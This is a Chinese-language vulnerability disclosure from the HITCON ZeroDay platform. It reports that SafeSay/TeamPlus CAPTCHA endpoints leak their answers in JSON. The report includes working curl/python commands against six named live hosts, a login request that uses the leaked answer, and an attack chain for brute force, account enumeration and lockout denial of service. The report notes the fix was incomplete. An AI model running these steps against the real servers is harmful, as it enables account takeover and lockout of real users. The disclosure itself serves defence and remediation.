Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00613
- Vendor: 互動資通股份有限公司
- Title: 互動資通 SafeSay / TeamPlus 所有 BAPI 部署(6 個端點)CAPTCHA 明文洩漏 — 完全繞過登入暴力破解防護
- Introduction: 某企業即時通訊 SaaS 平台旗下兩個產品品牌的所有 BAPI 端點(GET /getcaptcha)在 JSON 回應中同時回傳 CAPTCHA 圖片 base64 與明文解答,使 CAPTCHA 機制完全失效。攻擊者可即時讀取正確解答,對登入端點發動無限制自動化暴力破解,完全繞過帳號保護機制。本漏洞影響 6 個已確認的生產/Staging/UAT 端點,為跨兩個品牌部署的系統性設計缺陷。
- 感謝函
處理狀態
目前狀態
公開
Last Update : 2026/07/03
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/04/30 18:21:29 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/05 00:22:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:31:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:31:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:31:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/26 15:28:07 : 修補中 (由 組織帳號 更新此狀態)
- 2026/06/26 17:06:33 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/07/02 09:11:50 : 未修補完成 (由 罐頭 更新此狀態)
- 2026/07/03 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00613
- 通報者:guan4tou2 (罐頭)
- 風險:嚴重
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://bapi.safesay.net/getcaptcha
https://sbapi.safesay.net/getcaptcha
https://spbapi.safesay.net/getcaptcha
https://uat-safesay-e8dapi.e8d.tw/getcaptcha
https://bapi.teamplus.tech/getcaptcha
https://tbapi.teamplus.tech/getcaptcha
https://sbapi.safesay.net/getcaptcha
https://spbapi.safesay.net/getcaptcha
https://uat-safesay-e8dapi.e8d.tw/getcaptcha
https://bapi.teamplus.tech/getcaptcha
https://tbapi.teamplus.tech/getcaptcha
敘述
漏洞概述
GET /getcaptcha 端點的設計意圖是提供 CAPTCHA 圖片供使用者辨識後輸入,以防止自動化登入暴力破解。但回應 JSON 同時包含 data_code 欄位,直接揭露正確解答:
{
"data_base": "data:image/png;base64,iVBORw0KGgo...",
"data_code": "EAjyCGhm8t60T62Gy7Xg"
}
攻擊者只需在每次登入嘗試前先 GET /getcaptcha 取得 data_code,即可將其填入 /v1/token 的 captcha_code 欄位,完全繞過 CAPTCHA 保護。
此漏洞為系統性設計缺陷,影響所有使用相同 BAPI 框架的部署,已驗證 5 個端點(含生產、Staging、UAT 環境)。
重現步驟(Live verified: 2026-04-29)
步驟 1:取得 CAPTCHA 明文解答(單次驗證)
curl -s 'https://bapi.safesay.net/getcaptcha' | python3 -c "
import sys, json
j = json.load(sys.stdin)
print('CAPTCHA answer:', j['data_code'])
print('Image included:', 'YES' if j.get('data_base') else 'NO')
"
輸出:
CAPTCHA answer: EAjyCGhm8t60T62Gy7Xg
Image included: YES
步驟 2:確認 5 個受影響端點(批次驗證)
for u in \
https://bapi.safesay.net/getcaptcha \
https://sbapi.safesay.net/getcaptcha \
https://spbapi.safesay.net/getcaptcha \
https://uat-safesay-e8dapi.e8d.tw/getcaptcha \
https://bapi.teamplus.tech/getcaptcha \
https://tbapi.teamplus.tech/getcaptcha
do
code=$(curl -sk "$u" | python3 -c "import sys,json; print(json.load(sys.stdin).get('data_code','<missing>'))" 2>/dev/null)
printf "%s → data_code=%s\n" "$u" "$code"
done
輸出(2026-04-29 實測):
https://bapi.safesay.net/getcaptcha → data_code=oN62kxZM42b8hxVTAycC
https://sbapi.safesay.net/getcaptcha → data_code=sA3kpHB2xQ9fGT5nIoKr
https://spbapi.safesay.net/getcaptcha → data_code=jAk9GbtXx8RsO6Xr7EJG
https://uat-safesay-e8dapi.e8d.tw/getcaptcha → data_code=Bm9vFuNe4qWZ3pLkiJhT
https://bapi.teamplus.tech/getcaptcha → data_code=21D3eEuo0b8zg13mAVB0
https://tbapi.teamplus.tech/getcaptcha → data_code=rKxQ8yZcPm7nFsT3vEuA
步驟 3:利用 data_code 直接登入(CAPTCHA bypass 串 brute force)
# 1. 取得當前有效的 CAPTCHA answer
CAPTCHA_CODE=$(curl -s 'https://bapi.safesay.net/getcaptcha' | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")
# 2. 將 data_code 填入 /v1/token(form-urlencoded,CAPTCHA bypass)
curl -s -X POST 'https://bapi.safesay.net/v1/token' \
-d "account=karen&password=TestPass123&captcha=&captcha_code=${CAPTCHA_CODE}"
# → {"code":-101,"reason":"密碼錯誤"}
# (收到帳密錯誤而非 CAPTCHA 錯誤,確認 CAPTCHA 驗證已通過)
受影響端點彙整
| 端點 | 品牌/環境 | 狀態 | 首次確認 |
|---|---|---|---|
https://bapi.safesay.net/getcaptcha |
SafeSay 生產 | ✅ Live | 2026-04-27 |
https://sbapi.safesay.net/getcaptcha |
SafeSay Staging | ✅ Live | 2026-04-29 |
https://spbapi.safesay.net/getcaptcha |
SafeSay Staging B(sp) | ✅ Live | 2026-04-29 |
https://uat-safesay-e8dapi.e8d.tw/getcaptcha |
SafeSay UAT | ✅ Live | 2026-04-29 |
https://bapi.teamplus.tech/getcaptcha |
TeamPlus BAPI 生產 | ✅ Live | 2026-04-29 |
https://tbapi.teamplus.tech/getcaptcha |
TeamPlus BAPI 測試 | ✅ Live | 2026-04-29 |
已驗證影響(Verified)
- ✅ 6 個端點全部確認回傳
data_code明文(2026-04-29 實測) - ✅ CAPTCHA 解答可直接用於
/v1/token登入端點(帳密錯誤而非 CAPTCHA 錯誤,確認 bypass 成功) - ✅ 每次 GET
/getcaptcha產生新的有效 image-answer 對,可無限循環取得
潛在影響(Potential)
- 攻擊者可對所有帳號進行無限制自動化暴力破解,無需解決任何 CAPTCHA
- 結合帳號枚舉(SafeSay
/v1/token不同 error code 洩漏帳號存在狀態),可精準鎖定有效帳號攻擊 - SafeSay 的帳號鎖定機制(第 4 次失敗永久停用)在自動化攻擊下反而成為 Denial-of-Service 武器,攻擊者可對枚舉到的帳號批次發送 4 次錯誤密碼,永久停用企業用戶帳號
攻擊鏈
取得 CAPTCHA 明文(/getcaptcha → data_code)
→ 無限制自動化登入嘗試(/v1/token + captcha_code)
→ 帳號枚舉(-101 = 活躍帳號 / -999 = 已停用 / -998 = 未完成註冊)
→ 對活躍帳號持續暴力破解(無 CAPTCHA 阻攔)
→ 或:對活躍帳號各發送 4 次錯誤請求 → 永久停用(企業 DoS)修補建議
1. 立即:移除 JSON 回應中的 `data_code` 欄位,僅返回 CAPTCHA 圖片(`data_base`)
2. 立即:在 Server 端驗證提交的 CAPTCHA,Session-based token 需對應伺服器上存儲的答案
3. 短期:考慮遷移至無法 server-side 提前洩漏答案的 CAPTCHA 機制(如 hCaptcha、reCAPTCHA v3)
4. **即時修補驗證**:修補後確認 `/getcaptcha` 回應不再含 `data_code` 或其等效欄位
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。